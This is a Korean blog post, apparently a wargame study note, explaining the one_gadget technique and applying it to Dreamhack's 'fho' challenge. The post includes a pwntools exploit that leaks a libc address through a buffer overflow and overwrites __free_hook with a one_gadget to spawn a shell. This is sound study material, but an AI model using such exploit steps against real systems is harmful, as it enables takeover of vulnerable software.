3omh4n
3omh4
3omh4n
  • 분류 전체보기 (65)
    • wargame - system (0)
      • DreamHack (9)
      • FTZ (5)
      • LoB (4)
      • pwnable.kr (1)
    • wargame - reversing (0)
      • DreamHack (5)
    • wargame - web (6)
      • webhacking.kr (3)
      • DreamHack (3)
      • HackCTF (0)
    • CS (21)
      • system (19)
      • reversing (0)
      • Linux (2)
    • python (5)
      • Flask (5)
    • C++ (3)
    • 개인기록 (2)
    • 이거저거 (4)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

최근 댓글

최근 글

태그

  • RELRO
  • Dreamhack
  • ROP
  • System
  • flask
  • hacking
  • Devtools
  • BOF
  • Programming
  • LOB
  • webhacking
  • error
  • ftz
  • hackerschool
  • Reversing
  • systemhacking
  • pwntools
  • C++
  • python
  • langage

티스토리

전체 방문자
오늘
어제
3omh4n

3omh4

[System][Dreamhack] Exploit Tech: Hook Overwrite - one_gadget
CS/system

[System][Dreamhack] Exploit Tech: Hook Overwrite - one_gadget

2024. 3. 11. 10:30

one_gadget(magic_gadget)은 실행하면 쉘이 획득되는 코드 뭉치를 말한다. 여러 gadget의 조합없이, 하나의 gadget만으로도 쉘을 실행할 수 있는 gadget이다. HITCON, 217 CTF팀의  david942j가 만든 one_gadget을 사용하면 쉽게 찾을 수 있다.

 

one_gadget은 libc 버전마다 다르게 존재하고, 제약 조건도 모두 다르다. Glibc의 버전이 높아질수록 제약 조건을 만족시키기 어렵기 때문에, 상황에 따라 맞는 gadget을 사용하거나 제약조건을 만족하도록 조작해야한다.

 

one_gadget은 함수에 인자를 전달하기 어려울 때 활용할 수 있다. __malloc_hock을 overwrite하는 것은 가능하지만 malloc의 인자에 "/bin/sh"을 전달할 수 없을 때 one_gadget을 사용하면 이를 호출해 쉘을 획득할 수 있다.

 

one_gadget 설치

gem install one_gadget

one_gadget 실행

one_gadget ./libc-2.27.so

one_gadget을 이용한 쉘 획득

https://3omh4.tistory.com/entry/SystemDreamhack-Exploit-Tech-Hook-Overwrite23 이 글의 드림핵 워게임 fho를 대상으로 one_gadget을 이용한 페이로드를 작성하였다.

# bof
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
main_return_address = u64(p.recvline()[:-1] + b'\x00'*2)

base_libc = main_return_address - (off_libc_start + 231)
free_hook = base_libc + off_free_hook
one_gadget = base_libc + 0x4f432

# overwrite 'free_hook' with 'execve("/bin/sh")'
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(one_gadget).encode())

p.recvuntil('To free: ')
p.sendline(str(0x11).encode())

p.interactive()

 

이전 hook_overwrite와 다른 점은 line15에서 free_hook을 execve를 실행하도록 one_gadget을 넣어준 부분이다. 여기서 free를 실행하면 free_hook 대신 execve를 실행하게 되므로 line 18의 내용은 의미 없는 것으로 보인다.

'CS > system' 카테고리의 다른 글

[System][Dreamhack] Out of Bound- OOB  (0) 2025.03.31
[System][Dreamhack] Exploit Tech: Hook Overwrite(2/2)  (0) 2024.03.04
[System][Dreamhack] Exploit Tech: Hook Overwrite(1/2)  (0) 2024.01.24
[System][Dreamhack] RELRO - RELocation Read-Only  (1) 2024.01.02
[System][Dreamhack] PIE - Position-Independent Executable  (0) 2023.12.26
    'CS/system' 카테고리의 다른 글
    • [System][Dreamhack] Out of Bound- OOB
    • [System][Dreamhack] Exploit Tech: Hook Overwrite(2/2)
    • [System][Dreamhack] Exploit Tech: Hook Overwrite(1/2)
    • [System][Dreamhack] RELRO - RELocation Read-Only
    3omh4n
    3omh4n

    티스토리툴바